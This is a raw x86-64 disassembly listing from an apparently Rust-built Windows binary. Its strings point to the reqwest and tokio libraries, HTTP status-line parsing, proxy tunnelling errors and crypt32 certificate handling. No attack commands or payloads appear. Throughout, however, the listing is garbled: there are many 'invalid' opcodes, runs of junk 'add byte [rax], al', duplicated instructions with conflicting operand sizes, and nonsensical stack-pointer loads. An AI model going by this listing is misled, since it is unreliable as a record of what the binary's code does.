mov r8, qword [rsi + 0x620]
add byte [rax], al
add byte [rax], al
cmp dword [rcx], 2
jne 0x1400ab4e0
add rcx, 8
add ecx, 8
mov rdx, rbx
call fcn.1400e74a0
cmp rax, 2
jne 0x1400ab4ee
invalid
adc bl, ch
pop rdi
jmp 0x1400ab53f
mov rdx, rbx
call fcn.1400af080
cmp eax, dword [rax]
add byte [rax - 0x7d], cl
clc
invalid
je 0x1400ab53f
cmp eax, dword [rax]
add byte [rax - 0x7d], cl
clc
add dh, byte [rcx + rdx*2 + 0x48]
test eax, eax
test rax, rax
jne 0x1400ab546
mov rax, qword [rsi + 0x620]
mov r9, qword [rsi + 0x628]
mov qword [rsi + 0x620], 1
add byte [rax], al
add byte [rax - 0x39], cl
xchg byte [rax], ch
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub r9, rdx
ror dword [rdi], 1
invalid
add dword [eax], eax
invalid
xchg byte [rax], ah
invalid
add rax, rdx
mov qword [rsi + 0x620], rax
and byte [rsi], al
add byte [rax], al
mov qword [rsi + 0x628], r9
test rdx, rdx
jne 0x1400ab4b0
invalid
invalid
invalid
invalid
jmp 0x1400ab852
add byte [rax], al
mov al, 3
jmp 0x1400ab742
invalid
mov rdi, rdx
test rdx, rdx
jne 0x1400ab852
lea rcx, [rsi + 0x638]
cmp byte [rsi], al
add byte [rax], al
xor r15d, r15d
mov r8d, 0x2000
mov eax, 0x2000
mov eax, 0x2000
xor edx, edx
call fcn.140106cb0
mov qword [rsi + 0x618], 0
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x1400ab81b
invalid
add al, byte [rax]
invalid
invalid
movabs byte [0x40248c8d48000002], al
adc byte [rax], al
add al, ch
call fcn.1400adc10
call fcn.1400adc10
add byte [rbp + rcx*4 + 0x25], cl
push rbx
sub ecx, dword [rcx]
add cl, ch
retf
lea r12, [0x14013e0e0]
jmp 0x1400abb5d
lea rcx, [rsi + 0x5f8]
mov r8d, 2
mov rdx, r9
call fcn.140108ba0
mov r9, qword [rsi + 0x608]
jmp 0x1400ab46b
lea rcx, [rsi + 0x5f8]
mov r8d, 0xc
mov rdx, r12
call fcn.140108ba0
mov r12, qword [rsi + 0x608]
jmp 0x1400ab271
lea rcx, [rsi + 0x5f8]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x30], edx
mov rdx, r12
mov r8, r13
call fcn.140108ba0
mov rdx, qword [rsp + 0x30]
mov r12, qword [rsi + 0x608]
mov esp, dword [rsi + 0x608]
jmp 0x1400ab2bd
lea rcx, [rsi + 0x5f8]
mov r8d, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov rdx, r12
call fcn.140108ba0
mov r12, qword [rsi + 0x608]
jmp 0x1400ab2ed
lea rcx, [rsi + 0x5f8]
mov r8d, 0x15
mov eax, 0x15
mov eax, 0x15
mov rdx, r12
call fcn.140108ba0
mov r12, qword [rsi + 0x608]
jmp 0x1400ab38e
invalid
dec dword [rax - 0x73]
invalid
lea rcx, [rsi + 0x5f8]
mov qword [rsp + 0x30], rdx
mov rdx, r12
mov r8, r13
call fcn.140108ba0
mov rdx, qword [rsp + 0x30]
mov r12, qword [rsi + 0x608]
jmp 0x1400ab3de
lea rcx, [rsi + 0x5f8]
mov r8d, 2
add byte [rax], al
clc
add eax, 0xb8410000
add al, byte [rax]
add byte [rax], al
mov rdx, r12
call fcn.140108ba0
add eax, 0xa68b4c00
mov esp, dword [rsi + 0x608]
mov esp, dword [rsi + 0x608]
jmp 0x1400ab40e
std
invalid
lea rax, str.mid___len
add eax, 0x9dde2
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], 1
and al, 0x68
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*2], ah
add al, byte [rax]
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi*2], ah
js case.0x1400aa0b0.6
add byte [rax], al
and al, 0x60
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rbp*2], ah
and al, 0x68
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*2], ah
add al, byte [rax]
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi*2], ah
js case.0x1400aa0b0.6
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcioutilwrite_all.rs__
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcioutilwrite_all.rs__
lea rcx, [rsp + 0x260]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
call fcn.140108b60
test dword [rcx], ecx
add al, ch
xchg esp, edx
add eax, 0xd8d4800
lea rcx, [0x14013e4b0]
invalid
jnp 0x1400ab6b7
lea rcx, [0x14013e4b0]
call fcn.140108b60
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
call fcn.140108b60
mov ecx, 1
mov rdx, r15
call fcn.1401082a0
mov qword [rsp + 0x260], rdx
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x270], 0
and al, 0x70
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rbx + 0x23750239], al
and al, 0x70
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rbx + 0x23750239], al
add rcx, 8
lea r8, [rsp + 0x260]
mov rdx, rbx
call fcn.1400e71e0
test rax, rax
je 0x1400ab75f
mov al, 4
mov byte [rbp], al
jmp 0x1400abb28
add r9b, r13b
fiadd word [rbx]
add byte [rax], al
lea r8, [rsp + 0x260]
mov rdx, rbx
call fcn.1400af3c0
test rax, rax
jne 0x1400ab740
test rdx, rdx
jne 0x1400ab84f
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x268]
mov r15, qword [rsp + 0x270]
cmp r15, rdx
ja 0x1400ace86
test r15, r15
je 0x1400ab880
add r15, qword [rsi + 0x618]
mov qword [rsi + 0x618], r15
cmp r15, 0x2001
jae case.0x1400792d3.250
cmp r15, 0xc
jb 0x1400ab9af
invalid
add byte [rax - 0x48], cl
push rsp
push rsp
push rax
invalid
movabs rax, 0x312e312f50545448
mov rcx, qword [rsi + 0x638]
xor rcx, rax
ror dword [rbx + 0x64096], 0
ror dword [rbx + 0x64096], 0
invalid
xor rdx, 0x30303220
or rdx, rcx
je 0x1400ab7fc
movabs rcx, 0x302e312f50545448
xor rcx, qword [rsi + 0x638]
mov edx, dword [rsi + 0x640]
xor rdx, 0x30303220
or rdx, rcx
jne 0x1400ab992
mov ecx, 0x50545448
invalid
xor byte [rax + 0x33], cl
invalid
cmp dword [rsi + r15 + 0x634], 0xa0d0a0d
je 0x1400ab8eb
cmp r15, 0x2000
je case.0x140070a56.263
and byte [rax], al
add byte [rdi], cl
test byte [rbx], cl
add dword [rax], eax
add byte [rax - 0x73], cl
mov gs, word [rax + 4]
add byte [rax], al
lea rcx, [rsi + 0x468]
mov eax, 0x2000
add byte [rax], ah
add byte [rax], al
invalid
add byte [rcx + rbp - 8], cl
sub rax, r15
lea rdx, [rsi + r15]
add rdx, 0x638
mov qword [rsi + 0x620], rcx
mov dword [rsi + 0x620], ecx
mov dword [rsi + 0x620], ecx
mov qword [rsi + 0x628], rdx
mov qword [rsi + 0x630], rax
jmp 0x1400ab6fe
invalid
dec dword [rax - 0x77]
xlatb
mov rdi, rdx
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400acec1
mov r15, rax
mov qword [rax], rdi
lea r12, [0x14013dd20]
and eax, 0x924a5
and eax, 0x924a5
jmp 0x1400aba18
movzx eax, byte [0x140182310]
mov edx, 0x1e
add byte [rdx + 0x1e], bh
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400acf45
mov r12, rax
movups xmm0, xmmword [0x140143edf]
movups xmmword [rax + 0xe], xmm0
movups xmm0, xmmword [0x140143ed1]
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
add eax, 0xd6a55
add eax, 0xd6a55
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
or eax, 0x49000016
mov edi, eax
mov r15, rax
mov qword [rax], 0x1e
mov qword [rax + 8], r12
mov qword [rax + 0x10], 0x1e
jmp 0x1400aba11
mov byte [rsi + 0x617], 0
mov rdi, qword [rsi + 0x468]
add al, 0
add byte [rbx + rcx*4 - 0x42], cl
jo 0x1400ab902
add byte [rax], al
add al, 0
add byte [rbx + rcx*4 - 0x42], cl
jo 0x1400ab902
add byte [rax], al
mov r12, qword [rsi + 0x478]
cmpsb byte [rsi], byte [rdi]
js 0x1400ab909
add byte [rax], al
lea rdx, [rsi + 0x480]
xchg esi, eax
add byte [rax + rax], 0
lea rcx, [rsp + 0x1040]
mov r8d, 0x110
call fcn.140106530
lodsb al, byte [rsi]
add eax, 0xf7e900
add byte [rax], al
lodsb al, byte [rsi]
add eax, 0xf7e900
add byte [rax], al
movzx eax, byte [0x140182310]
mov edx, 0x21
xor ecx, ecx
call fcn.1400df910
invalid
add eax, dword [rax]
test rax, rax
je case.0x140092c52.160
invalid
mov r12, rax
movups xmm0, xmmword [0x140143ec0]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x140143eb0]
add byte [rdi], cl
adc dword [rax], eax
mov byte [rax + 0x20], 0x6c
movzx eax, byte [0x140182310]
mov edx, 0x18
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400acedd
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
mov r15, rax
mov qword [rax], 0x21
mov qword [rax + 8], r12
mov qword [rax + 0x10], 0x21
add byte [rax], al
add byte [rax], al
jmp 0x1400aba11
xor rax, qword [rsi + 0x638]
mov ecx, dword [rsi + 0x640]
xor rcx, 0x37303420
or rcx, rax
je case.0x140096fc6.99
movzx eax, byte [0x140182310]
mov edx, 0x13
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400acf36
mov r12, rax
movups xmm0, xmmword [str.unsuccessful_tunnelproxy_authentication_requiredproxy_headers_too_long_for_tunnelunexpected_eof_while_tunneling]
movups xmmword [rax], xmm0
mov dword [rax + 0xf], 0x6c656e6e
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400acedd
mov r15, rax
invalid
mov qword [rax], 0x13
mov qword [rax + 8], r12
mov qword [rax + 0x10], 0x13
lea r12, [0x14013e0e0]
mov edi, 3
cmp qword [rsi + 0x5f8], 0
je 0x1400aba3d
mov r8, qword [rsi + 0x600]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rsi + 0x5f0], 2
je 0x1400aba6e
add byte [rax], al
add byte [rax + 0x5c8be], al
add byte [rdx], al
je 0x1400abaa6
cmp byte [rsi + 0x616], 0
je 0x1400abaa6
add byte [rax], al
add byte [rdi + rbx + 0x48], dh
lea ecx, [rsi + 0x5c0]
lea rcx, [rsi + 0x5c0]
mov rax, qword [rsi + 0x5a8]
mov rdx, qword [rsi + 0x5b0]
mov r8, qword [rsi + 0x5b8]
add bh, bh
push rax
invalid
add bh, bh
push rax
adc dh, al
xchg byte [rsi], dl
invalid
mov byte [rsi + 0x616], 0
cmp qword [rsi + 0x590], 0
je 0x1400abacd
mov r8, qword [rsi + 0x598]
mov rcx, qword [0x140182260]
or eax, 0xffd23100
adc eax, 0x67893
or eax, 0xffd23100
adc eax, 0x67893
cmp byte [rsi + 0x617], 0
add byte [rax], al
je 0x1400abaf9
cmp dword [rsi + 0x468], 2
jne 0x1400abaed
lea rcx, [rsi + 0x470]
jo 0x1400abae8
add byte [rax], al
call fcn.1400ad770
jmp 0x1400abaf9
sbb al, 0
add bl, ch
or al, 0x48
lea ecx, [rsi + 0x468]
add byte [rax], al
lea rcx, [rsi + 0x468]
add byte [rax], al
call fcn.1400adc10
mov byte [rsi + 0x617], 0
lea rcx, [rsp + 0x520]
lea rdx, [rsp + 0x1040]
add byte [rax], al
mov r8d, 0x110
adc byte [rcx], al
add byte [rax], al
call fcn.140106530
mov byte [rsi + 0x614], 1
cmp rdi, 4
jne 0x1400abb34
mov byte [r13 + 0x11], 3
mov al, 4
jmp 0x1400acc6f
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x1d38]
lea rdx, [rsp + 0x520]
add byte [rax], al
add byte [rax], al
mov r8d, 0x110
call fcn.140106530
mov rcx, r14
call fcn.1400ad290
cmp rdi, 3
jne 0x1400abb65
mov dil, 2
jmp 0x1400acb31
sldt word [rax]
sldt word [rax]
lea rcx, [rsp + 0xce0]
lea rdx, [rsp + 0x1d38]
lea edx, [rsp + 0x1d38]
mov r8d, 0x110
mov eax, 0x110
call fcn.140106530
mov byte [rsi + 0x2d3], 1
mov qword [rsp + 0xcc8], rdi
mov qword [rsp + 0xcd0], r15
and al, 0xd0
or al, 0
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0xd8
or al, 0
add byte [rax - 0x75], cl
mov esi, 0x278
js 0x1400abba6
add byte [rax], al
cmp qword [rdi], 0
je 0x1400abbc1
js 0x1400abba6
mov rcx, qword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r15, rax
mov r12d, 1
jmp 0x1400abbc4
xor r12d, r12d
xor esp, esp
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx ecx, word [rdi + 0x1c]
mov edx, dword [rdi + 0x18]
mov qword [rsi + 0x9c0], r12
mov qword [rsi + 0x9c8], r15
mov qword [rsi + 0x9d0], rax
ror byte [rcx], 1
add byte [rax], al
ror byte [rcx], 1
add byte [rax], al
mov dword [rsi + 0x9d8], edx
mov word [rsi + 0x9dc], cx
mov r15, qword [rsi + 0x280]
add byte [rdx], 0
add byte [rbp - 0x7b], cl
dec dword [rdi]
test byte [rdi], bh
invalid
add byte [rax], al
add byte [rdx], 0
add byte [rbp - 0x7b], cl
dec dword [rdi]
test byte [rdi], bh
add eax, 0x8d4c0000
cmpsb byte [rsi], byte [rdi]
ror byte [rcx], 0
add byte [rax - 0x75], cl
mov esi, 0x288
lea r12, [rsi + 0x9c0]
mov rdi, qword [rsi + 0x288]
mov byte [rsi + 0x2d3], 0
add byte [rax], al
lea rdx, [rsp + 0xcc8]
mov r8d, 0x128
mov rcx, r14
call fcn.140106530
mov qword [rsi + 0x400], r12
mov qword [rsi + 0x408], r15
add byte [rax], al
mov qword [rsi + 0x410], rdi
lea rcx, [rsi + 0x418]
lea rdx, [rsp + 0x1040]
mov r8d, 0x5a0
call fcn.140106530
lea rax, [rsi + 0x9b8]
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0x9b8], 0
mov eax, 9
lea rdx, [rsi + 0x2d8]
movq xmm0, r15
movq xmm6, r12
mov r12, rax
punpcklqdq xmm6, xmm0
invalid
invalid
lea rcx, [rsi + 0x418]
mov r8d, 0x128
sbb byte [rax + rax], al
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
mov qword [rsp + 0xb0], rdx
call fcn.140106530
movdqu xmmword [rsi + 0x540], xmm6
mov qword [rsi + 0x550], rdi
mov dword [rsi + 0x550], edi
xchg esp, eax
and al, 0xb0
add byte [rax], al
add al, ch
invalid
lea rax, [rsi + 0x788]
mov qword [rsp + 0xa8], rax
mov byte [rsi + 0x788], 0
lea rdx, [rsi + 0x418]
mov byte [rsi + 0x789], 0
mov rax, qword [rsi + 0x550]
xchg byte [rax + 5], dl
add byte [rax], al
xchg byte [rax + 5], dl
add byte [rax], al
mov qword [rsp + 0x888], rax
movups xmm0, xmmword [rsi + 0x540]
add eax, 0x110f0000
test byte [rax + rdi*2], ah
or byte [rax], al
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0x50
push rax
invalid
add byte [rax], al
mov r8d, 0x128
mov rcx, r14
call fcn.140106530
add eax, 0xbc8d4c00
and al, 8
invalid
add byte [rax], al
mov r8d, 0x140
mov rcx, r15
mov rdx, r14
mov edx, esi
push rax
invalid
add eax, 0xbc8d4c00
and al, 8
invalid
call fcn.140106530
lea rcx, [rsi + 0x790]
mov r8d, 0x140
mov rdx, r15
call fcn.140106530
mov qword [rsp + 0x30], r12
mov rbp, qword [rsi + 0x790]
mov r14, qword [rsi + 0x8b8]
mov rax, qword [rsi + 0x8c0]
mov rcx, qword [rsi + 0x8c8]
mov qword [rsi + 0x790], 3
cmp rbp, 3
je 0x1400acea9
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rdx, [rsi + 0x798]
lea rcx, [rsp + 0x988]
mov r8d, 0x120
mov qword [rsp + 0xd0], rdx
call fcn.140106530
mov qword [rsp + 0x980], rbp
mov qword [rsp + 0xaa8], rbx
movabs rdi, 0x8000000000000000
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 8
mov qword [rsp + 0x60], 0
movzx eax, byte [r14 + 0x1c]
movzx ecx, byte [r14 + 0x1d]
lea edx, [rcx + 1]
cmp cl, 4
movzx edx, dl
mov ecx, 4
cmovb ecx, edx
movzx r12d, cl
cmp al, 5
mov qword [rsp + 0x28], r13
jne 0x1400abe0b
lea r15, [0x14013c848]
jmp 0x1400abe2b
xor edx, edx
cmp cl, al
movzx eax, al
cmovb eax, edx
movzx eax, al
lea r15, [0x14013c848]
add r15, rax
sub r12, rax
je 0x1400ac0a3
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r12
or eax, 0x4cc93100
mov edx, esp
call fcn.1400df910
test rax, rax
je 0x1400aced0
add byte [rax], al
add byte [rax], al
mov r13, rax
mov rcx, r13
mov rdx, r15
mov r8, r12
call fcn.140106530
mov qword [rsp + 0x80], r12
mov dword [rsp + 0x80], esp
mov dword [rsp + 0x80], esp
mov qword [rsp + 0x88], r13
mov dword [rsp + 0x88], ebp
mov qword [rsp + 0x90], r12
cmp qword [r14], 0
je 0x1400abead
invalid
add byte [rax], al
add byte [rcx - 0x7d], cl
add byte ds:[rcx + rdi + 0x49], dh
cmp dword [rcx - 0x75], ecx
invalid
invalid
cmp dword [rcx - 0x75], ecx
or dil, r15b
adc eax, 0x67312
mov rcx, qword [r14 + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r15, rax
mov rax, qword [rsp + 0x60]
cmp rax, qword [rsp + 0x50]
cmp eax, dword [rsp + 0x50]
cmp eax, dword [rsp + 0x50]
jne 0x1400abe9c
lea rcx, [rsp + 0x50]
call fcn.1400eac90
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
mov qword [rcx + rax*8], r15
inc rax
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x50]
call fcn.1400cedf0
mov r12, rdx
test rax, rax
je 0x1400abefc
mov rax, qword [rsp + 0x68]
shl rax, 1
test rax, rax
jne 0x1400abff7
test dword [rdi], esp
add dword [rax], eax
invalid
test dword [rdi], esp
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x2f], cl
loopne 0x1400abf24
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
test eax, eax
jne 0x1400ac01f
add byte [rbx + rcx*4 + 0x74], cl
mov r14, qword [rsp + 0x58]
and al, 0x58
mov rdi, qword [rsp + 0x60]
test rdi, rdi
jne 0x1400ac045
jmp 0x1400ac05f
mov qword [rsp + 0xe8], rdi
mov word [rsp + 0x128], 1
mov qword [rsp + 0x118], 0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
and al, 0xe8
add byte [rax], al
add byte [rsi - 0x39], ah
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax - 0x39], cl
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0x10024
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x100], rdi
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
add dword [rax], eax
add byte [rcx - 0x75], cl
adc dil, r15b
adc eax, 0x67260
mov r15, rax
cmp qword [rsp + 0xd8], 0
je 0x1400abf56
mov rcx, qword [rsp + 0xe0]
mov ecx, dword [rsp + 0xe0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xe0], r15
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x40
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x40
mov r8, qword [rsp + 0x48]
call fcn.1400cf010
call fcn.1400cf010
movzx ebp, byte [r14 + 0x18]
mov byte [rsp + 0x128], bpl
add dword [rax], eax
add byte [rcx + 0xf], al
mov dh, 0x46
sbb dword [rax + 0x1292484], ecx
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + 0xf], al
mov dh, 0x46
sbb dword [rax + 0x1292484], ecx
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x80], al
jle 0x1400abfb8
cmp byte [r14 + 0x1a], 0
je 0x1400ac0b1
add byte [rdi], cl
test byte [rcx + rax], cl
add byte [rax], al
movzx eax, byte [0x140182310]
add eax, 0xd6364
mov edx, 0x10
xor ecx, ecx
call fcn.1400df910
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
je case.0x1400a8746.38
test rax, rax
je case.0x1400a8746.38
mov qword [rax], 1
mov qword [rax + 8], 1
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbx], fs
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbx], fs
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
je 0x1400ac13a
lock dec qword [rcx]
lea r14, [0x140142c38]
xor eax, 0x96c4c
xor eax, 0x96c4c
je 0x1400ac11a
jmp 0x1400ac1d6
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
push rbp
jae 0x1400ac010
add byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add byte [rax], 0
add byte [rax - 0x2f], cl
loopne 0x1400ac05f
test eax, eax
je 0x1400abee4
jo 0x1400ac045
add byte [rax], 0
add byte [rax - 0x2f], cl
loopne 0x1400ac05f
mov r8, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
invalid
test rdi, rdi
je 0x1400ac05f
invalid
invalid
xor r15d, r15d
mov r13, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop
mov rcx, qword [r14 + r15*8]
inc r15
call r13
cmp rdi, r15
jne 0x1400ac050
cmp qword [rsp + 0x50], 0
je 0x1400ac079
lea rcx, [rsp + 0x988]
call fcn.1400ad770
jmp 0x1400ac717
mov word [rax + rax*4], fs
or dword [rax], eax
add al, ch
jb 0x1400ac0b7
add byte [rax], al
jmp 0x1400ac717
mov r13d, 1
xor r12d, r12d
jmp 0x1400abe48
invalid
invalid
invalid
cmp byte [r14 + 0x1b], 0
je 0x1400ac1ee
test byte [rdx], dh
add dword [rax], eax
add byte [rcx - 0x75], cl
adc dil, r15b
adc eax, 0x670d2
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r14, rax
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400acedd
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r14
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x1400ac1cf
lock dec qword [rcx]
lea r14, [0x140142c08]
jne 0x1400ac1d6
mov rcx, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x120]
mov r15, rax
call fcn.140004950
mov rax, r15
jmp 0x1400ac1d6
lea r14, [0x140142c38]
jmp 0x1400ac1d6
movzx eax, byte [0x140182310]
mov edx, 0xe
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400acf22
mov rbx, rax
mov ebx, eax
movabs rax, 0x6c7275206e692074
mov qword [rbx + 6], rax
movabs rax, 0x2074736f68206f6e
mov qword [rbx], rax
movzx eax, byte [0x140182310]
and byte [rax + 0x6f], ch
jae 0x1400ac1f0
and byte [rax - 0x77], cl
add ecx, dword [rdi]
mov dh, 5
mov dword [rcx + 0xd], esp
add byte [rdx + 0x18], bh
mov edx, 0x18
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400acedd
mov r15, rax
mov qword [rax], 0xe
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 8], ebx
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 8], ebx
mov qword [rax + 0x10], 0xe
invalid
invalid
invalid
invalid
mov dword [rax + 8], ebx
mov qword [rax + 0x10], 0xe
lea r12, [0x14013e0e0]
lea esp, [0x14013e0e0]
lea esp, [0x14013e0e0]
mov dil, 2
cmp qword [rsi + 0x9c0], 0
add byte [rdi], cl
test dword [rcx + rcx], ebx
or dword [rax], eax
invalid
add byte [rdi], cl
test dword [rcx + rcx], ebx
or dword [rax], eax
invalid
or dword [rax], eax
add cl, ch
and al, 9
add byte [rax], al
jmp 0x1400acaf3
lea r14, [0x140142c08]
mov qword [rsp + 0x118], rax
mov dword [rsp + 0x118], eax
mov qword [rsp + 0x120], r14
movzx ebp, byte [rsp + 0x128]
add dword [rax], eax
add byte [rdi], cl
mov dh, 0xac
and al, 0x28
add dword [rax], eax
add byte [rbp + rcx*4 - 0x4c], cl
invalid
mov ah, 0x24
invalid
lea r14, [rsp + 0x100]
mov ah, 0x24
add byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
or al, byte [rax]
add byte [rax - 0x73], cl
invalid
xchg esp, eax
and al, 0x80
lea rcx, [rsp + 0xab0]
lea rdx, [rsp + 0x980]
lea edx, [rsp + 0x980]
or dword [rax], eax
add byte [rcx - 0x48], al
xor byte [rcx], al
add byte [rax], al
mov r8d, 0x130
call fcn.140106530
mov r15, qword [rsp + 0xe8]
mov esp, 0xe824
add byte [rcx], dh
rol byte [rcx - 0x48], 0
add byte [rax], al
add byte [rax], al
mov esp, 0xe824
add byte [rcx], dh
rol byte [rcx - 0x48], 0
add byte [rax], al
add byte [rax], al
invalid
invalid
test bpl, bpl
in eax, dx
je 0x1400ac22e
mov r8, qword [rsp + 0xf0]
cmp r15, rdi
cmove r8, rax
lea rcx, [rsp + 0x520]
mov word [rax + riz], fs
add eax, 0x894c0000
loop 0x1400ac28e
mov ecx, esi
mov word [rax + riz], fs
add eax, 0x894c0000
loop 0x1400ac28e
call case.0x1400aa7a4.218
mov r14, qword [rsp + 0x530]
cmp r14, 2
add cl, byte [rax - 0x77]
pushfq
and al, 0xa0
add byte [rax], al
add byte [rax], al
add cl, byte [rax - 0x77]
pushfq
and al, 0xa0
add byte [rax], al
add byte [rax], al
jne 0x1400ac29f
add byte [rax], al
jne 0x1400ac29f
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x758], 2
mov dword [rsp + 0x758], 2
mov dword [rsp + 0x758], 2
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x760], rax
mov dword [rsp + 0x760], eax
mov qword [rsp + 0x750], 1
mov dword [rsp + 0x750], 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xab024bc], al
add byte [rax], al
add dh, byte [rbp + 0x6d]
cmp dword [rsp + 0xab0], 2
jne 0x1400ac2fd
lea rcx, [rsp + 0xab8]
call fcn.1400ad770
jmp 0x1400ac30a
add al, ch
rcl dword [rax + rax], cl
add bl, ch
imul esp, dword [rsi + 0xf], 0x6f
mov ah, 0x24
and byte [0xcb4ec2aa], al
lodsb al, byte [rsi]
and al, 0x38
add eax, 0x8b480000
test byte [rax + rax*2], ah
add eax, 0x89480000
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax - 0x7d], cl
mov esp, 0xd824
add byte [rax], al
movdqa xmm6, xmmword [rsp + 0x520]
mov r13d, dword [rsp + 0x538]
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x98], rax
add byte [rax - 0x7d], cl
mov esp, 0xd824
add byte [rax], al
je 0x1400ac322
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0xc8], rax
mov eax, 1
